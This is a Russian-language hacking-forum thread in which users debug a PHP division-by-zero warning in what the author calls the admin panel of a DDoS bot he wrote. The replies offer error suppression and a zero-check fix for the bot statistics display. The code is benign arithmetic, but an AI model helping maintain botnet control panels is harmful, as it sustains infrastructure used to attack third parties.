• XSS.stack #1 – первый литературный журнал от юзеров форума

(php) пишет ошибку, связанную с делением на ноль

WennY

RAM
Пользователь
Регистрация
18.09.2008
Сообщения
107
Реакции
1
Код:
<td><img src="diagram.php?values='.($totalCount-$onlineCount).':'.$onlineCount.':&legend='.round(( $totalCount-$onlineCount)*100/$totalCount, 2).'%%20OffLine%20Bots:'.round($onlineCount*100/$totalCount, 2).'%%20OnLine%20Bots:"></td>
<td><img src="diagram.php?values='.$FreeDDOS.':'.$InDDOS.': &legend='.round($FreeDDOS*100/$onlineCount, 2).'%%20Free%20DDoS:'.round($InDDOS*100/$onlineCount, 2).'%%20DDoS%20Bots:"></td>
Говорит
Warning: Division by zero in /home/tu2.ru/w/we/wenny/htdocs/www/functions.php on line 1480/1481. Чо ему там не нравится

Весь код файла functions.php тут
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну во-первых ворненг это не ошибка... Во вторых этот ворненг появляется если $onlineCount или $totalCount = 0
Тоесть как я понял если нет ботов в онлайне или вобще еще ниодного не было.
Если тебя беспокоит этот ворненг, то можешь поставить в начале скрипта "error_reporting(0);"
Типа:
Код:
<?

error_reporting(0);

######################################################################################################
# Функции работы с базой
######################################################################################################

function FUNCT_dbConnect()
{
	Global $dbhost, $dbuser, $dbpass, $dbtable, $dbname;
	$res = mysql_connect($dbhost, $dbuser, $dbpass, $dbtable);
	If ($res === FALSE){
  echo 'Not connected : ' . mysql_error();
........................
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DeusTirael, ты что-то путаешь... варнинг даже дословно переводиться ошибка, как это не ошибка? Ты путаешь с нотифи. И уходить от ошибки убрав их вывод это как минимум глупо не говоря уж что для программиста это огромный минус.
А ошибка эта элементарная на 0 делить нельзя.
Вижу что это файл функций админки ддос бота которую я писал, не проверял на пустом ботнете поэтому забыл про эту ошибку.
Сделай так:
Код:
<?php
if($totalCount > 0){
  $round1 = round(( $totalCount-$onlineCount)*100/$totalCount, 2);
  $round2 = round($onlineCount*100/$totalCount, 2);
}else{
  $round1 = 0;
  $round2 = 0;
}

if($onlineCount > 0){
  $round3 = round($FreeDDOS*100/$onlineCount, 2);
  $round4 = round($InDDOS*100/$onlineCount, 2);
}else{
  $round3 = 0;
  $round4 = 0;
}
?>
<td><img src="diagram.php?values='.($totalCount-$onlineCount).':'.$onlineCount.':&legend='.$round1.'%%20OffLine%20Bots:'.$round2.'%%20OnLine%20Bots:"></td>
<td><img src="diagram.php?values='.$FreeDDOS.':'.$InDDOS.': &legend='.$round3.'%%20Free%20DDoS:'.$round4.'%%20DDoS%20Bots:"></td>
 
Одинокий Волк
Warning это предупреждение, ошибка error. Т.е. деление на 0 может быть при некоторых условиях. Хотя согласен, уходить от ошибки её скрытием не ход программиста.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Warning это предупреждение, ошибка error.
А да сорри, просто варнинги это тоже ошибки в пхп.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Господа, это же не его скрипт и не его ошибка. Не думаю что ему интересно будет послушать о том что нужно инициализировать и проверять переменные перед использованием итд. При данном ворненге скрипт работает, что я и обиснил человеку.
"error_reporting(0);" предложил ему как быстрое решение его сокрытия от глаз. Ошибка то не критическая \=.
И вобще-то "error_reporting(0);" рекомендуется ставить в завершенных проектах. Чтоб не помогать нотайсами и ворненгами тем кто будет ковырять скрипт извне.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх